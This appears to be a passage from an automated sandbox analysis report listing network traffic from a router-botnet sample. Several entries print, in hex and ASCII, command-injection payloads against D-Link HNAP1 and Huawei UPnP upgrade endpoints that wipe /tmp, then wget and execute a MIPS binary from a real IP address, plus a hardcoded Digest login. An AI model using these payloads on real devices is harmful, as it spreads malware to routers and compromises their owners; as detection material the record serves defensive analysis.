Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 52912 |
Source: unknown | Network traffic detected: HTTP traffic on port 59024 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 45134 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 45936 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40928 |
Source: unknown | Network traffic detected: HTTP traffic on port 45650 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36432 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 58222 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35586 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 55198 |
Source: unknown | Network traffic detected: HTTP traffic on port 40408 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36426 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 40926 |
Source: unknown | Network traffic detected: HTTP traffic on port 54654 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 53844 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 57370 |
Source: unknown | Network traffic detected: HTTP traffic on port 33678 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 49210 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 45378 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 46228 |
Source: unknown | Network traffic detected: HTTP traffic on port 35320 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 36772 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 55612 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 32902 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 47270 -> 443 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 43190 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 36420 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 35568 |
Source: unknown | Network traffic detected: HTTP traffic on port 443 -> 37754 |
